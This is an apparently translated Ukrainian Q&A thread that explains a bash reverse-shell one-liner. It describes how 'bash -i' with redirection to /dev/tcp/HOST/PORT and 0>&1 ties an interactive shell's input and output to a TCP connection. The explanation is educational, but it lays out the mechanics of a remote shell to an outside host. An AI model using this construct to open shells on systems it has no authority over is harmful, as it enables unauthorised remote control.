Відповіді:
Цей фрагмент запускає новий інтерактивний екземпляр bash ( bash -i
), на підключенні TCP до вказаного порту вказаного хоста, який створюється протягом тривалості процесу bash. Стандартний вихід і стандартна помилка надсилаються через це з'єднання ( >& /dev/tcp/HOST/PORT
), а стандартний вхід зчитується через це з'єднання ( 0>&1
- це має бути, 0<&1
але 0>&1
теж працює).
Переадресація порту не відбувається. Очевидно, якийсь сервер TCP повинен прослуховувати та приймати з'єднання на цьому HOST: PORT, і брандмауер повинен пропускати з'єднання.
/dev/tcp/HOST/PORT
? Я припускав, що ви замінили ім'я на HOST
і число на PORT
. Інакше ви отримаєте повідомлення про помилку від bash. Оскільки ви не згадали жодного повідомлення про помилку, я припускаю, що ви його не бачили.
0<&1
частину. Я читаю це як "take bash stdout ( &1
) і передає його в bash stdin ( 0
)", що має сенс. Чи можете ви поясніть, як працює ця частина?
0<&1
означає підключити все, що зараз відкрито у файлі дескриптора 1, до дескриптора 0. Оскільки попереднє перенаправлення >& /dev/tcp/HOST/PORT
підключило fd 1 (за замовчуванням для переадресації виводу) до /dev/tcp/HOST/PORT
, тобто відкрив сокет TCP, це дублює з'єднання TCP з дескриптором 0 файлу (тобто той же сокет тепер також відкритий на fd 0, це відрізняється від 0 </ dev / tcp / HOST / PORT, який би відкрив інший сокет на тому ж сервері).